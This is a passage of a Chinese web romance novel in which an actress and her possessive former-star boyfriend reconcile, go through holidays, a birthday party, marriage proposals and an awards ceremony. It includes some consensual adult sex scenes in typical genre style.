江遥回：「不了，两天时间能干什么。」抛掉来回的路程，在家甚至待不了完整的两天的。
汪静静说：「行吧，那我自己找乐子去，你一个人好好的。」
或许不是一个人呢。看着屏幕上刚敲下的文字，江遥又一个个删除，算了，到时候再跟她说。
打发走汪静静，消息框里又有新的提醒，某个远在A城的人在问她过两天是否有安排了。
江遥想了想，回他：「再看吧。」
大概是半个月前，他们又重新恢复了联络。准确来说，现在确实是普通朋友。
在某一天的深夜发疯被回复后，对面静了两分钟，给她发来了视频邀请。江遥直接拒绝，免得影响睡眠。
第二天起来，看着手机上那多出的未接电话和语音信息，她深觉自己做了个错误的决定。谈恋爱，真的太耽误事儿了。
戳进去聊天框，程绪半夜三更还给她发了许多话，中心思想只有一个，别不理我。于是，江遥捞起手机，回复他：「哦。」
之后两人就这么不咸不淡地聊着，他似乎在努力适应怎么重新和她做朋友。江遥边拍着戏边偶尔回复，事情仿佛又回到他们认识的最初。但终究有什么不一样了。
程绪是提前一天过来的。剧组三十一号收工后放假，江遥卸完妆，就看到他在问下班了吗，她拍了照片发给他，「刚刚。」
江遥不怎么爱做计划，这几天的行程是程绪定的，具体她没有细问，拎着包就跟他出了门。
跨年夜，随便一个市中心都聚集了许多人，好在，宛城并非繁华的小镇，对于那些所谓的仪式感不怎么热衷。他带着她走进一家冷清的院落，除了他们并没有其他顾客，服务生上完菜就退了出去，两人面对面坐着，默契地沉默。
江遥拍了一天的戏，这会儿正饿，也没管他在想什么，拿起筷子直接开动了，没想到味道意外的不错。她眼睛一亮，完全将对面的人抛到了脑后，先解决自己的口腹之欲。
程绪察觉到她眼神的变化，嘴角勾了勾，“喜欢的话明天再来。”
江遥猛摇头，“吃多了就腻了。”
程绪笑意僵住，又若无其事地去拿放在一边的水壶，帮她把杯子里喝完的水重新倒满。
吃完饭出来，时间刚过九点半，程绪自己开车，江遥看着不断后退的街景，问他，“要去干什么？”
程绪没有直接回复，瞥了眼她说，“不远了。”
江遥想了想说：“我晚上还要回去的，小鱼在等我。”其实哪有什么小鱼，这女人早几天就跟她请过假了。
程绪“嗯”了声，“知道了，不会太晚的。”
下车后，江遥才知道他们此行的目的地为何，空白的招牌上写着几个大字“私人影院”，简单粗暴地昭示着他们现在在哪儿。一瞬间，她脑海里闪过许多关于私人影院的传闻，情绪复杂地瞥了眼身旁的人。
或许是她眼里的怀疑太过明显，程绪沉稳的表情突然有点端不住，忙不迭跟她解释说，“不是那样的。”
“那是哪样的？”江遥蓦地笑出声，空落落的情绪也突然落到实处。
程绪这才意识到她并不是真的想追究，站在一旁讷讷说，“我都没跟你一起看过。”
江遥莫名其妙，跟不上他的节奏，“什么？”
说话间，他们在工作人员指引下走进房间。确实和她想象的不同，这是家庭影院似的构造，宽大的沙发和屏幕，倒有点像，回到了在他家的时候。
江遥神思恍惚，也没注意到他还说了些什么。直到，灯光暗下，她从过往的情绪中脱离，见程绪安静地坐在一旁的沙发上，认真盯着前方的屏幕，她也沉静下来，准备陪他欣赏完这场戏。
前奏响起，听在耳里莫名熟悉，江遥顿时感觉全身有无数只蚂蚁在爬，刺得她坐立难安。
原来是这个意思。这部她看过无数遍的影片，他曾给过她建议，陪着她对戏，在它诞生的日日夜夜里，满是他的痕迹，但其实，他们还没来得及坐在一起，看它最终长成的样子。
《春声》已经正式下映，她不知道，他是不是去看过它。却猝不及防地在这样的夜里，端坐在沙发上，陪着他从头完整地看完。
她从未觉得时间如此漫长，眼前的画面一幕幕勾勒着春花的生活轨迹，她的脑海中，却另有画面不断闪现。她沉浸在记忆里，分不清哪个才是真实的自己。片尾曲响起，也惊醒了她的回忆。
两个半小时里，程绪一言不发，江遥收拾好情绪，侧身去问他，“怎么样？表现还及格吧？”
欢快的音调，凝固在那泛着水光的眼角。房间里光线很暗，她完全可以装作没有察觉的模样，就像她不
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知道，他为之动情的，到底是戏里的春花，还是她。或许是被他的情绪传染，她感觉到自己的眼眶也莫名开始酸胀，只好摸索着，去握他落在沙发上的手。
程绪被她的动作惊动，垂眸，有水珠顺着长长的睫毛滑落，“啪嗒”一声，滴落在相握的手上，像是热油蓦然炸开，烫得江遥起身想逃。但她到底还是忍下了，无视掉手背上那灼烧的滋味，捏了捏他的手指，扯着唇对他笑说，“没事的。”
程绪仿佛浑身失去力量般，将头靠在她的肩上。江遥拍拍他垂着的头，轻哄着说，“新的一年了，想点开心的，好吗？”
时间已经悄悄滑过零点，又是新的一年。程绪不说话，只反手握住了她，拖着变了调的音色喃喃，“我又握住你了。”
见江遥不说话，他又去唤她，“遥遥？”
江遥烦不胜烦，看他情绪似乎已经缓过来，起身去拿一旁搭着的外套，“送我回去吧。”
谁也没去开灯，程绪藏在黑暗中，闷闷地“哦”了声，又笑着去拉她的手，“新年快乐，遥遥。”
江遥抬步往外走，程绪自觉松开握着的手，戴着口罩，埋头跟在身后。
凌晨一点半，车子停在酒店停车场，江遥解开安全带，拿了包下车，车门关上，他听到她说，“新年快乐。”见他乍然亮起来的双眸，江遥笑了笑说，“明天来接我。”
她走进电梯，才收到他的回复，「好的！」认真的叹号，仿佛能脑补到他雀跃的神色。
她笑笑，直接发了条语音过去：“不要太早，我要补觉。"
一觉醒来，江遥拿起手机看了下时间，已经过了中午十二点。微信里躺了几条信息，她一一回复。戳进和程绪的对话框，最后一条消息还是他凌晨回的。不知道这会儿醒了没有。
她给他发，「我醒了。」
下一秒，视频邀请就打了过来，江遥点击接听，“怎么了？什么时候醒的？”问完，才看到他已经是外出的装束，应该是醒了有一阵子了。
轻柔的音调传入耳廓，程绪这才有了点真实的感觉，不知该怎么跟她说，他昨晚躺在床上翻来覆去睡不着，想打她的电话跟她说说话，又怕吵到她。不过还好，这是甜蜜的煎熬。
他面不改色地扯了个谎，“刚醒不久，我这就过来。”
江遥让他不用着急，“我还得起床洗漱，没有半小时搞不定的。”
程绪又“哦”了声，“好的，你慢慢来，时间还挺多。”
江遥秒懂其中的弦外之音，笑笑问，“今天去干什么？”
糟糕。程绪这会儿才想起来，本来按照他的计划，今天两人应该是去看日出的，但现在这时间……他抬起手腕看了看表，提议道：“去看日落好吗，今天天气很好，海边的晚霞应该很漂亮。”
江遥无所谓，选好出门的衣服，又进了浴室洗漱。刷牙的时候，听那边试探着问道：“要不午饭还去昨天那家餐馆？我让他们今天换个菜单。”
江遥抽不出空来答他，程绪顿了下，忽而郑重地强调道：“不会腻的。”
这人，到底在耿耿于怀些什么。江遥吐掉嘴里的泡沫，“行，听你的。”
109. 单箭头
如程绪所说，餐馆今天新换了菜单，江遥对新菜色仍然赞不绝口，程绪给她剥着虾，唇角的笑意不自觉就冒出些许。
江遥无语，“你到底在乐什么？”
程绪敛了神色，“哦，没有。”
他们不赶时间，吃完饭晃晃悠悠赶到海边，租了两辆车慢慢骑着，累了就停下来，躺在草地上说说话。在她完全失联的时间里，他曾无数次发出求救，理理我，现在终于等到了她回首。
日落也看到了，晚霞确实很美，温柔而绚丽，镜头甚至捕捉不到它的万分之一。在手机里多了无数张废片后，江遥干脆放弃，和程绪并肩欣赏着这自然的绮丽。
海边的人不多，但网友们的眼睛，只要有心，无人能瞒过。江遥和程绪吃完晚餐后，程绪去取车，Susie的电话就在那时间打了过来，问她怎么又上了热搜。
江遥无声叹气，“好快的网速。”
Susie还有什么不知道的，“对外怎么说？”
江遥绕着身前的头发，心虚地道，“顺其自然吧。”
“那我不管了。”Susie利索地挂了电话。
她沉默地站在那，脸上带着心虚和讨好，程绪想到刚才周颂发来的照片，眸光暗了暗。他按了下喇叭，江遥闻声，看到他，又重新扬起笑，“走吧。”
“你们到底在搞什么？”第二天，Susie是这么跟她说的。
在她不知道的时间里，程绪工作室回应说，只是普通朋友。神通广大的网友立马上传了一组图，隔空问道：“这样的普通朋友？”图片里，是江遥举着手机，找着角度转着圈拍晚霞，程绪站在一旁，无声地凝视她。那样的眸光，怎一个深情了得。
#普通朋友#的词条直接被拱上热搜，不料，晚上的时候，程绪本人亲自回复了：是我单箭头。
普普通通一个回复，惊起“哇哦”无数。
「就说我这么晚不睡是有原因的。」
「影帝也追不到老婆？好吧，姑且算是普通朋友。」
「你当务之急，是需要去报个摄影班进修下，下次帮她拍得美美的。」
有人直接在程绪微博下发了晚霞图，「去给你普通朋友瞅瞅，这样OK不？」
甫一上车，程绪的手机就被江遥没收，她目标明确，直奔微博。程绪坐在一旁，小心翼翼去看她的脸色。
江遥无视他的打量，捧着他的手机上下滑了滑，看到这里的时候直接回复：她说比她拍的漂亮很多，谢谢了。
她脸色一会儿绷紧一会儿缓和，程绪也不知道她手指翻飞，在忙碌着些什么。张了张口，正想检讨自己自作主张的过错，江遥略带不满地扫来一眼，直把他看低了头。像耷拉的花骨朵，一点儿也不生机勃勃。
啧，这模样，不知道的还以为谁欺负他了。江遥也无心再去管网友怎么说，把手机一丢，直接低头在他下巴上咬了口，含糊着问他：“这样的普通朋友？”
程绪没预料到她突然来这一出，愣愣地抬起头，江遥眼里漾着浅淡的笑意，那笑里，似乎写满了包容、以及鼓励。程绪脑子空白一瞬，很快反客为主。
他一把将江遥从副驾上抱过来，放到自己腿上，认认真真，去品她那柔软的唇瓣、勾着笑的嘴角。
地下停车场车辆来来往往，江遥一开始还悬着心，生怕明天一早，又在头条上看到自己的身影，#江遥霸王硬上弓#、#江遥车震#、#普通P友#……一瞬间无数词条排着队在她脑中飘过，词条的劲爆程度，她不知自己是否还能接受。心脏砰砰跳动，说不清是紧张，还是激动。
程绪见她神思不属，暗暗加大了力度。这大半年，他应该也没有退步太多？
等江遥再次回过神来，两人已经跌跌撞撞走到了房间门口，身上的衣服被他扯得七零八落，她笑着抚上他发红的眼角，喘息着问道，“普通朋友？”
说话的气息喷洒在他颈侧，程绪手下动作更急了几分，低头去堵她喋喋不休的唇。江遥被含着唇，说话的声音模糊不清，只余含含糊糊的哼唧声。
嘴巴被堵住，江遥也不甘落后，抱着他腰的手慢慢从他心脏处滑过，在紧实的腹肌上停留，随后，放肆地继续向下游走……
程绪闷哼一声，灼热的视线紧紧盯着他，像伺机而动的豺狼。雪松的味道再次覆顶而来，江遥放松身子，去迎接他的到来。
风雨骤停，江遥睁开眼睛，懵懵地望着眼前的人。
程绪咬着牙，泄气地往侧边一躺。江遥反应了两秒，“酒店应该都有准备的？”
程绪不想在这样的氛围里，和她讨论避孕套的尺寸问题，又拉了她过来，极尽缠绵地吻她。
虽然没有做到最后，江遥仍觉得自己体力透支得不行，趴在床上，由着他将她抱进浴室帮她洗头洗澡。吹风机的声音“嗡嗡”响着，她坐在他腿上，看他神色认真地，梳理着她的长发。都说认真的人是最美的，但这个美加在他身上，似乎也太单薄了些吧。
等程绪洗完澡出来，江遥已经睡了过去。他掀开被子躺下，就见她自动自发地滚过来，抱着他的腰，睡意朦胧地问道，“怎么这么晚。”
程绪收紧手臂，低头在她发顶亲了亲，“晚安。”
这个假期过得颠倒而混乱，江遥在晨光中醒来，一瞬间不知自己身在何方。空气中有食物的香气飘散，她鼻子动了动，勾动了肚子里的馋虫。程绪见她躺在床上，眼睛骨碌碌地转，一把将她从被子里挖出来，找来拖鞋给她穿上，顺势拍了拍她，“去刷牙。”
江遥被这么一拍，像触电一般，瞬间一蹦三尺高，“你干什么？！”除了乔女士，还没有人在光天化日之下这么神色自若地拍过她的屁股呢。
程绪被她这么一吼，手都瞬间不知该往哪儿放，脸上蓦地腾起热意，白皙的皮肤，漫上引人遐思的绯色，江遥见状，声音反倒低了下去，一溜烟跑进浴室，“我去洗漱。”
假期后再次复工，众人看她的眼神就像看着个移动的八卦信号发射塔，只要没问到她跟前，江遥都是直接无视的。圈内公开的秘密那么多，哪里还差她这么一个。
小鱼还在一惊一乍
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，自己出门几天，江遥的感情就有了重大进展。江遥叼着油条，给汪静静回复，「是的，吃回头草了。」
要知道，年少的时候，她可是当着她的面赌咒发誓过，谁吃回头草谁是猪。当然，现在对象换了。消息发过去，她都能想到汪静静那得意洋洋的样。
不过年少的选择，哪有那么多能坚持到最后。江遥自我说服完毕，发现回头草，有时也未必不是好东西。至少，嚼起来的时候，口感非常满意。
汪静静看她不忙，直接弹了个语音过来八卦，“现在什么情况了？前两天我还怕打扰到你，完全不敢联系。”
江遥知道她这纯属故意夸张，但还是莫名心虚了一下，“倒也不是那么忙。”
汪静静在那边哈哈大笑，“主要是怕被程老师追杀。”
知道她第二天上班早，程绪天刚擦黑就将她送回了房。虽然，一步三回头什么的是有点夸张，但，她真的什么也没干。想想还是有点遗憾。
不过等江遥被虐完一天后，又提前佩服起程绪的先见之明了。她现在闭着眼睛，甚至都能脑补出他那幽深的眼眸，仿佛随时等着将她拆吃入腹，但到底还是忍住了。手下的动作却很轻柔，引出无数涓涓细流。
分开的时候，他说，“我在A城等你。”
无意义的日子突然有了盼头，江遥一天天倒数着归家的时刻。幸福是琐碎生活里的点缀，让平凡的每天显得璀璨而珍贵。
江遥就在这样的期待里，再次等到了来自A城的消息。
时隔一年多，她再一次跟着这位长辈落座，江遥发觉，无意识间，自己的心态，已经发生了太多的转变。
一年倏忽而过，看着对面斗志昂扬的女人，程元峰后知后觉，自己确实有点老了。
自从上次离家后，程绪再没有踏入过程家半寸，关于他的消息，都是经人打听后，才传到他耳中。逢年过节的问候，原来只是他礼貌维持着的假象，当他彻底收回关注，许婉清开始慌不择路。儿子早已下定决心远走，他的妻子，却开始渴求他的回头。
家中的长吁短叹，他已疲于应付，于是只好先将自己的牌亮出，“江小姐，你想要什么？或许我能给的，比他更多。”
还以为会说什么。江遥闻言轻哂，“不必了。”
她起身要走，程元峰脑中，又闪现出许婉清梨花带雨的眼睛，他放软声音，“陪我坐一会儿吧。”江遥似乎能听懂，他话里暗藏的求助声。
包里的手机突然疯狂震动，江遥悄悄按掉，抿了抿唇，正想回应程元峰，下一秒，手机又开始响动。
说不定有什么事情。江遥掏出手机，看清屏幕上显示的来电人，程先生。
程元峰显然也看到了，鼻子里发出一声轻哼，“那小子，以为我要把你怎么着呢。”
江遥歉意地笑笑，还是点了接听。
“遥遥，有什么想问的问我就好，我都会告诉你的。”程绪的声音里透着焦躁，他问她，“回家好吗？”
江遥轻声安抚他，“没事的，我知道自己在做什么。”
110. 回家
一月中，又是各项红毯争奇斗艳的好时节，江遥婉拒了所有的邀请，陪程绪在家窝着。网络上纷纷猜测她推拒的理由，更有甚者，说她或许怀孕了，禁不住高强度的工作。
小鱼看得龇牙咧嘴，扬言要把她的工作时长丢出去堵他们的嘴，当然，她也只是想想。随着江遥事业再攀高峰，作为助理，她也需要更谨言慎行，否则一个不好，网络上就是江遥的工作人员不好打交道的新闻。
其实所谓的穿着宽松出现在医院门口，不过是江遥感冒有点咳嗽，被程绪勒令去医院看诊拿药。她也是到了才知道，他所谓的长辈竟是业内大拿，看她一个小小的感冒纯属杀鸡用牛刀。
不过那慈祥的长者却细细叮嘱了她许多注意事项，并要求她定期过来复查，“年轻是应该把底子打好。”年少时她莽着劲往前冲，还好现在，多了许多对生活的掌控。于是江遥也乖乖点头说好，她自己倒无所谓，惹他担心就没太必要。
上次和程元峰的谈话并没有谈出什么结果，唯一的后遗症，大概是程绪变得心思敏感了许多，恨不得二十四小时跟着她不要走。但怎么可能呢，剧组并不适合他久留。
所以在全剧组放假的时候，她也回了A城。虽然天天视频，但真人，毕竟和隔着网络不同。
室外冷气逼人，室内，火热的温度不断攀升。
“轻点。”江遥躺在书房的大桌上，轻轻地哼。
回来时没有告诉他，她冒着寒风，用自己的指纹解开了他家的门锁。客厅里没有留灯，灯光乍亮的时候，江遥下意识眯了下眼睛，定睛去看，房间中的布局还保留着原本的模样，但风格，却和之前大相径庭了。
或许更准确来说，他的喜好被她的一步步侵占，他的家，成了她理想的模样。她不知这样的改变，是在最近还是在之前，但她能够笃定的是，两人会在这里度过许多三餐与四季。
微弱的光亮从书房透出，江遥没去惊扰他，径自回了卧室洗漱，擦干头发，踩着拖鞋去书房找他。她在家里忙活了这么久，他还沉浸在自己的工作里毫无察觉，如果家里进了小偷，想要他发现估计也难了。
程绪其实已经凝神听了许久。隐隐约约，似乎有行李箱滚动的声音、吹风机发出的嗡鸣，仿佛下一刻，就会有带笑的女人捧着水杯敲开他的房门。他僵立在座位上一动不动，手下捏着的纸页，因他用力而扭曲变形。许久，声音彻底静了下来，房间重归宁静。“嘶”的一声，书页终于承受不住外力，裂开长长一道缝。
每一次，都是这样的结果。这样的梦，他已做了太久了。无数次起身推开房门，迎接他的，都是空荡的房间，呼啸的风声。曾经的暖意早已撤出，唯余他在原地停留。
江遥推开房门，对上的就是他空茫的眼睛。她笑着走过去，他视线跟着她身影挪动，呆呆的，像发了懵。
这样的注视让她没来由有点尴尬，捧着杯子抿了口水，复又笑着问，“看什么呢？不认识了？”
是在问他吧？他试探着伸出手，江遥也随他握着，往前走了两步，说：“怎么了？”
是真的，她又回来了。程绪紧紧攥着她的手，声音却很轻柔：“遥遥，你回来了？”
江遥理所当然地点头，兴奋地告诉他：“对啊，有四天假。”
她想说，刚好能陪他过完生日呢，程绪却没给她机会再开口。
“啊……”江遥被他攥着手，按倒在宽大的书桌上。虽然之前不是没有过，但隔了这么久，是不是应该循序渐近着点儿。江遥看着洁白的天花板，凌乱地想。
新买的睡衣被他揉皱丢弃在文件堆里，他强硬的动作，让她只能惊叫着喘息。熟悉的味道，轻易抚平她张牙舞爪的神经，江遥于是就也随他，反正假期还长。
程绪已经完全杀红了眼，顾忌着她疼，他等她完全放松才开始推进，他低头去亲她的眼睛，重复喃喃着，“遥遥，看看我。”这样的动作，让连接更加深入，江遥忍不住闷哼出声。他灼热的视线牢牢锁着她，江遥害羞地瞥过头，又被他掰回来细细地啄。
他的眼睛幽邃而深情，身下的动作却大开大合，“你发什么疯？”江遥想问，却已经发不出声音。还好，书桌的材料足够结实，在一次次冲击里八风不动，如果是宿舍的书桌，明天一早准能收到楼下的投诉。
桌上的东西已经完全不能要了，江遥嫌弃地去推他，程绪又笑着去搂她的腰，在无人窥见之处吮吸轻咬，“结婚吧，好不好？”
江遥没有听清，推搡的动作一停，带着哭腔问：“什么？”
程绪凑近她耳旁，又重复道：“我说，我们结婚吧？”
她脸上挂着泪珠，呆呆地似乎忘了怎么回应。也许是在思索，怎么拒绝才能不伤人。趁她意乱情迷的时候发出这样的询问，他清楚自己的劣根性，但无所谓了，不管答案如何，他都不会放手。
江遥不答，程绪就在她耳边一遍遍地问。每一次撞击中，都写满他的渴求。从书房到卧室，躺在浴缸中，他都还不死心。害得江遥梦里，都是他的声音。
结婚吗？也不是不行吧。不过她忘记了昨晚有没有回他。她看着坠落在地毯上的手机，很想撤回之前发给汪静静的消息，其实两天，真的可以干很多的事。
程绪有点不开心。虽然一再告诉自己，她愿意回来就好了，但当她真的重新回到他的怀抱，他又怕她再次走掉。
他知道，女明星的婚姻不能儿戏，所以他跟她说，可以只领证，等她准备好的时候再公开和举办婚礼，但江遥明确告诉他，想都别想，“我才不要偷偷摸摸嫁给你。”
程绪说好啊，反正他也不是很想当地下情夫的，“那我们去领证吧，婚礼的日期我也找人看好了，有几天都是诸事皆宜。”
江遥：“……”
事情一直没有谈妥，江遥也没空管他的小情绪。
他好像一头扎进结婚的泥沼不愿意出来了，自己的生日，肯定是一点都想不起的。
但有位热心的观众，很早就和她连线过了，听说她想给程绪举办生日party，乐呵呵地接下，“嫂，我准给您办好。”
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江遥被这声“嫂”喊得一哆嗦，还记得当初周颂一脸吊儿郎当的模样，能和他自小相熟，估计也是谁家金尊玉贵捧大的公子哥，她莫名其妙跟着程绪升了辈分，这突如其来的使命感，让她颇有点陌生。
她的假期还剩最后一天，程绪赖在家中一点都不想出门，问就是外面太冷，江遥却受不了他消极怠工，不知道的还以为他走路去上班的。
程绪就这么被江遥扫地出门，周颂偷偷溜进来，帮着布置现场。他看着四处飘舞的气球，憋了憋，才没忍住在江遥面前破功。不知道他哥回来，内心会是怎样的反应，要知道他可一向受不了这些姑娘家家的场景。
齐淮最近赋闲在家，接到江遥通知的时候还惊奇了一瞬，又有点预料之中。某人悲春伤秋了那么久，也是时候苦尽甘来了。
孟棠刚好出国旅行，听说她的计划，热心表示虽然不能亲自到场，但礼物一定奉上。江遥推脱许久，孟棠说，“或许他也是期待的。”于是江遥也不好再推脱。
何为重新被派到江遥身边，江遥也无所谓，出门在外有点防身功底不是坏事，有他在身边，他也能放心去做自己的事，而且还能多个劳动力呢。
她指挥着何为将彩灯挂好，拍拍手进了厨房。刘阿姨在灶台边开心地忙碌，笑呵呵地招呼她，“我这边快好了。”天知道江小姐没在家的日子里，这个家的氛围有多压抑，哪像现在，轻松又积极。
“啊啊啊，杨越说他们已经快到了。”周颂捧着手机在客厅惊声尖叫，“嫂，看你的了！”江遥应了声“知道了”，匆匆洗了手，套上围裙，跟着刘阿姨的指令，起锅下油。
发给江遥的信息一直都没有回应，也不能说一直，程绪看着半小时没动静的聊天框，眉头不自觉地拧了拧。杨越杵在一旁，非说有事情约了江小姐谈，一问细节就一声不吭，看来今晚，江遥是没时间陪他了。
杨越无视他频频飞来的眼刀，装作一个没有感觉的木头人，内心其实差点哭出声，面前摆着有史以来最大的职业危机，他却只能佯装不懂，希望江小姐能哄得这尊大神开心，明天给他多发点奖金。难，真的太难了。
今天的电梯莫名其妙慢得出奇，程绪又掏出手机，给江遥发消息，「你在干嘛？」
还是没有回应。
电梯门开，他匆匆赶回家中。推开门，满室寂静，放眼望去，黑暗将他包裹其中。心中不妙的预感不断上涌，程绪抖着嗓子喊，“遥遥？”
“砰！”
“砰砰！”
“生日快乐！”
有什么在耳旁炸响，接着，莫名其妙的东西浇了他一头，嘈杂的声音里，程绪精准捕捉到江遥的嗓音。他敛神去看，江遥捧着碗从厨房出来，在柔和的光晕里朝他浅浅笑着，程绪跟着扬起嘴角，叫她，“遥遥。”
江遥捧着碗，小心走到他面前，笑着道，“生日快乐。”
周颂跟着在一旁起哄，“哥，生日快乐！嫂嫂亲自做的寿面哟，愣着干什么！”
齐淮他们跟着笑。
111. 颁奖
程绪伸手，去端她捧在手中的面条，江遥期待地看着他，拉着他在桌上坐下，“尝尝。”
她小心去看程绪的脸色，自己的手艺自己清楚，虽然跟着阿姨学了几次，但实际成果……看不出来。程绪像是饿了三天刚刚吃上饭，连汤都喝得精光。江遥接过碗，愣了愣，才重新牵着他去切蛋糕。
程绪乖乖跟着她走，她说闭眼就闭眼，她说低头就低头。
许个愿吧，江遥跟他说。于是，他闭着眼睛，将自己的愿望重新说给神明听。
他其实很少过生日，但他突然发觉，明年或许也可以办个生日Party。
齐淮已经没眼看了，那不值钱的样子，完全被人拿捏得死死的。周颂和杨越趁着混乱，抹了程绪一脸蛋糕，他也丝毫不计较。
小鱼悄悄蹭到江遥身边，忧心地道：“姐，他脑子可能坏掉了。”江遥笑着拍了她一下，“少贫嘴了。”
送走客人，江遥要去收拾客厅，程绪按着她坐在沙发上，跑前跑后，将一片狼籍收整好。两人在浴室闹了一场，躺在床上，安静下来，江遥又看着他的眼睛，认真地道：“生日快乐。”
程绪勾着嘴，傻笑。江遥又说，“明年也一起过，好吗？”程绪猛点头。
拥有亲朋好友的惦念，看来他也是开心的。许婉清知道家里办了生日宴，也让她代为转达了自己的心意。程绪神色看不出波动，平静地收下他母亲的祝福。
“诶。”江遥突然想起，孟棠也给他带了礼物，挣扎着从他臂弯里逃出来，跑到客厅，翻出匆忙中没来得及打开的包裹。
程绪跟着出来，就见她低头认真在给他拆着包装盒。他去拉她的手，“明天再看吧。”
江遥说：“不行，生日礼物就要生日当天看啊。”
程绪跨过来，看她拆出来一个黑色的方盒。看不出里面装的什么，江遥递给他，“你亲自来。”
孟棠的礼物啊……程绪翻出记忆里孟棠仅有的几次一时兴起，似乎都不是什么太美妙的回忆。
他面无表情去揭方盒的盖子，随着盒子开启，有什么轻飘飘地掉下来。江遥下意识去接，是一张卡片，“祝你享受今夜。”背面，又有一行字，“不用谢～”
江遥莫名其妙，抬头去看程绪，他眼中的神色瞬间变了。
“里面是什么？”她丝毫察觉不到危险，程绪捏着手中的薄片，闭了闭眼，扛起她重新关上了卧室门。
这个夜晚还很长。
在被程绪捏圆搓扁辣手摧花无数遍后，江遥趴在床头，脑海中飘过的唯一一个念头是，没想到孟棠是这种人！
江遥揉着酸痛的腰回了剧组，再有半个月就是小年，众人的心思已经飞走，又只能咬着牙加班加点干活。年前，大部分戏份拍摄完毕，年后再拍几个大场景，这部戏就能杀青。
江遥放假后，直接从剧组飞回了C城。
在许婉清无数次试图联络她后，江遥心平气和地和她谈过一次，最后和程绪达成约定，这个年，他还是回去陪着父母一起。大年初一，随意。
程绪百无聊赖地玩着手机，江遥想必是忙着，大半天都没有回他消息。他真不知道，自己坐在这里的意义。程元峰咳了咳，他置之不理。
嗡一声轻响，江遥来了消息，「少玩手机。」
「哦。」程绪说。
于是他耐着性子，又听许婉清开始叨叨着说对他的担心，程元峰不知道说了什么，他没注意听。明年一定要和遥遥一起过，他想着，可是婚礼，最好还是喊他们出席，媒体的嘴，真不是什么好东西。
过了一会，江遥又发了新的消息，「乖乖的。」
这人到底当他几岁了。程绪想反驳，心里又抑制不住泛起甜蜜。他乖乖坐着，偶尔应许婉清几句，许婉清见他终于缓下脸色，神色激动，竟有点不知该怎么往下说了。程元峰幽幽叹了口气。
整个春节假期，江遥几乎和程绪腻在一起，说好的海边日出，他带她跑了几处。最后江遥实在跑不动了，又窝在家中，关起门享受两个人的生活。
三月，时装周。江遥作为H&F代言人，受邀飞往国外。程绪本打算跟着同行，江遥问过杨越，他的行程早早拟定，有些会议他可以代为出席，但……江遥知道他沉默背后的深意。一个企业的掌舵人，对外的重量并不是他一个助理可以比拟。
江遥拉了程绪，“你能不能认真点上班？”
程绪说：“成家立业，成家在前。”
江遥：“……又来了。”别以为她不知道他打什么主意。
“行吧，那我给你去登个征婚启事，想必很多人乐意。”
程绪不干了，“不，就要你。”他拉了她来咬，“遥遥，先领证好不好。”
唉，江遥捂脸叹息，男友太缠人可怎么好。明明她当初看中的，不是这个款。
程绪自然是没有跟着去的。结束了工作，江遥空出时间，在Freya带领下，去拜访了Matteo。知道她的来意，这位鬼才摄影师的表情，一瞬间难以用言语来形容。
Freya也忍俊不禁，还是尽职尽责地传达着好友的诉求，“让他亲自来找我。”
江遥扶额，确实是他当初太大言不惭了。Matteo的摄影直击灵魂，人生的重要时刻，她想请他来掌镜。程绪当然也不知道，当初放下的豪言，会在此时杀个回马枪，还在乐呵呵地盘算着去接机呢。
六月底，青苗奖颁奖典礼。
时隔三年，江遥再一次跟着Susie出席。Susie还是端着酒杯，游刃有余地和导演、投资人们交换着名片，不过此时，众人看她的眼里，充满说不清道不明的谄媚，和敬意？
谁让她手上，捧着一个香饽饽呢。
江遥凭春花一角获得青苗奖最佳女主角提名，如果今晚能顺利拿下，她的事业又将开启下一个高峰。流量奖项齐聚，怎能不让投资者竞相追捧？
Susie甚至敢说，即使今晚江遥遗憾失利，也不会有人说一个不好。一同入围的几位老师都是圈内德高望重的前辈，单一个人的奖杯垒起来都能比江遥高，能和他们一同提名，已是对她最大的肯定。更何况说，江遥杀入电影市场仅两年，就交出了这样的答卷，后续商谈的，又是顾声的电影，这一手牌，任她怎么打，都打不出满盘皆输的答案。
“Susie啊，好久不见，我这有个本子有没有兴趣看看？”有人端着酒杯过来，笑意温和。Susie也跟着碰杯，如果她没记错，当年也是在这里，她旁若无人地嗤他们不知天高地厚。世事可真是难料。
“我要来不及了。”江遥甩开程绪的手，拿了高跟鞋换上。
程绪遗
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憾地收回手，摸了摸被咬破的唇角，“好吧，一会儿见。”
江遥没空去管他，换好鞋，车子正好在入口停下，小鱼眼观鼻鼻观心地跟着江遥下车，捧着她的裙摆，跟随工作人员指引入场。
场外许多粉丝等在门外，江遥挥手致意。人群中突然传来尖锐的爆鸣，“姐姐——我永远支持你！”是有人喊破了音。小鱼抿嘴轻笑，江遥又高高扬起手，能有人陪伴一程已是幸运，她感激不尽。
场内来了许多老熟人，她笑着招呼过去，汪静静简直比她还激动，晏池今年没有出席，微信上给她发了信息说加油。看到苏远安，江遥如常地点了头。现在，已经无人再去揣测江遥的绯闻。毕竟，程绪追妻的架势，不可谓不凶。
苏远安打量着江遥的神色，知道她也是乐在其中。他还记得，知道他们感情出了问题时，他曾激动地找过江遥，当然，他没有得到想要的答案。后来某天和程绪偶然相逢，这个高高在上的男人突然盯着他的脸，淡声开口，平静无波地念着他的喜好和生平。
他不由惶恐：“你调查我？”
他却皱了眉头：“你配？我只是习惯了关注她，包括她有关的一切。”
苏远安甚至有点迷茫，原来，他真的握住过她吗？
江遥被工作人员引到前排入座，目光触及到其他提名的前辈，不好意思地点头问候，她要学习的还有很多。但既然走到了这里，她也想有所收获。她想和他一起站上奖台，捧着奖杯回家，柜子里还有很多地方，等着他们慢慢填满。
晚会的流程很紧，江遥坐在台下，听着现场不断响起惊呼，然后是雷鸣般的掌声，含泪的感谢声。她掐着掌心，脸上摆出一副云淡风轻的表情，跟着众人麻木地拍着手掌。流程一项项走过，最佳摄影、最佳男配角都被《春声》剧组收入囊中。但很遗憾，最佳导演的角逐中，陈情让这次惜败给了顾声。
马上轮到最佳女主角的颁奖环节，江遥深吸了口气，为转移注意力，甚至开始琢磨起明天的行程。化妆师上前给她最后补了妆，江遥闭着眼睛任她动作，一抬头，恍如时空交错。
她眨了眨眼睛，听着身边突然爆发的尖叫声。
“哇哦——”
似是石块从高中投入水中，“扑通”一声，划破努力维持的平静。江遥在茫然中肯定，哦，确实是他了。
说好等她回来的人不知何时出现在了台上，他身着暗黑色的西装，在众人的惊呼声里，从容地走到舞台中央。正如多年前，她也曾在台下，这么望向他。
但为什么，他会出现在这里呢？江遥脑中一片混乱，台上的人嘴巴一张一合，她已经完全听不清他在说什么。
